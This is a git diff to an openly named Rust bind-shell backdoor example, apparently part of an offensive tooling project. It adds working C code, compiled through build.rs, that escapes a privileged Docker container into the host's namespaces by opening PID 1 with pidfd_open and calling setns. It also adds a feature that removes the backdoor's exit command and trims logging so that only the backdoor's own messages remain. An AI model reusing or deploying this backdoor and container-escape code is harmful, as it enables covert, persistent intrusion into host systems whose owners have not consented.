diff --git a/Cargo.lock b/Cargo.lock
index fe8790e..91fc9ed 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -167,6 +167,7 @@ name = "ex-bind-shell-backdoor"
version = "0.1.0"
dependencies = [
"anyhow",
+ "cc",
"ed25519-dalek",
"ex-bind-shell-key-generator",
"log",
diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml
index 5bc5255..d6e4ef1 100644
--- a/examples/bind-shell/backdoor/Cargo.toml
+++ b/examples/bind-shell/backdoor/Cargo.toml
@@ -13,4 +13,11 @@ anyhow = "1.0.70"
tokio-stream = "0.1.14"
ed25519-dalek = "1.0.1"
log = "0.4.17"
-simple_logger = "4.1.0"
\ No newline at end of file
+simple_logger = "4.1.0"
+
+[build-dependencies]
+cc = "1.0"
+
+[features]
+docker-breakout = []
+no-exit = []
\ No newline at end of file
diff --git a/examples/bind-shell/backdoor/build.rs b/examples/bind-shell/backdoor/build.rs
new file mode 100644
index 0000000..be7cfaf
--- /dev/null
+++ b/examples/bind-shell/backdoor/build.rs
@@ -0,0 +1,22 @@
+// Copyright (C) 2023 Andrew Rioux
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as
+// published by the Free Software Foundation, either version 3 of the
+// License, or (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU Affero General Public License for more details.
+//
+// You should have received a copy of the GNU Affero General Public License
+// along with this program. If not, see .
+
+fn main() {
+ println!("cargo:rerun-if-changed=src/docker-breakout.c");
+
+ cc::Build::new()
+ .file("src/docker-breakout.c")
+ .compile("breakout");
+}
\ No newline at end of file
diff --git a/examples/bind-shell/backdoor/src/docker-breakout.c b/examples/bind-shell/backdoor/src/docker-breakout.c
new file mode 100644
index 0000000..427e4d1
--- /dev/null
+++ b/examples/bind-shell/backdoor/src/docker-breakout.c
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2023 Andrew Rioux
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU Affero General Public License as
+ * published by the Free Software Foundation, either version 3 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU Affero General Public License for more details.
+ *
+ * You should have received a copy of the GNU Affero General Public License
+ * along with this program. If not, see .
+ */
+
+#define _GNU_SOURCE
+#include
+#include
+// #include
+#include
+#include
+
+/**
+ * This function when run in a Docker container with the --privileged and --pid=host
+ * flags is able to break out of a Docker container entirely
+ */
+int breakout(int *err_loc) {
+ int fd = syscall(SYS_pidfd_open, 1, 0);
+
+ if (fd < 0) {
+ *err_loc = 1;
+ return fd;
+ }
+
+ int result = setns(
+ fd,
+ CLONE_NEWNS | CLONE_NEWNET | CLONE_NEWUTS | CLONE_NEWCGROUP | CLONE_NEWIPC
+ );
+
+ if (result < 0) {
+ *err_loc = 2;
+ return result;
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs
index 09f6417..defe4ad 100644
--- a/examples/bind-shell/backdoor/src/main.rs
+++ b/examples/bind-shell/backdoor/src/main.rs
@@ -10,10 +10,24 @@ use tokio_stream::StreamExt;
use ex_bind_shell_key_generator::PUBKEY;
+#[cfg(feature = "docker-breakout")]
+extern "C" {
+ fn breakout(err_loc: *mut i32) -> i32;
+}
+
#[tokio::main]
async fn main() -> anyhow::Result<()> {
+ if let Err(e) = handled_main().await {
+ log::error!("{:?}", e);
+ }
+
+ Ok(())
+}
+
+async fn handled_main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
- .with_level(log::LevelFilter::Info)
+ .with_level(log::LevelFilter::Off)
+ .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info)
.init()?;
let pubkey =
@@ -21,6 +35,25 @@ async fn main() -> anyhow::Result<()> {
log::info!("Pubkey is good");
+ #[cfg(feature = "docker-breakout")]
+ unsafe {
+ let mut err_loc: i32 = 0;
+ let result = breakout(&mut err_loc as *mut _);
+ let errno = std::io::Error::last_os_error();
+
+ if result != 0 {
+ if err_loc == 1 {
+ log::warn!("Docker breakout was unsuccessful! pidfd_open error: {errno:?}");
+ } else if err_loc == 2 {
+ log::warn!("Docker breakout was unsuccessful! setns error: {errno:?}");
+ } else {
+ log::warn!("Docker breakout was unsuccessful, and error location is unknown! {err_loc}, {result}");
+ }
+ } else {
+ log::info!("Docker breakout was successful!");
+ }
+ }
+
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
@@ -148,6 +181,7 @@ async fn handle_command(
let cmd_str = std::str::from_utf8(cmd.as_bytes());
match cmd_str.map(|c| c.split(" ").collect::>()).as_deref() {
+ #[cfg(not(feature = "no-exit"))]
Ok(["exit"]) => {
let _ = send_exit.send(()).await;
return Ok(());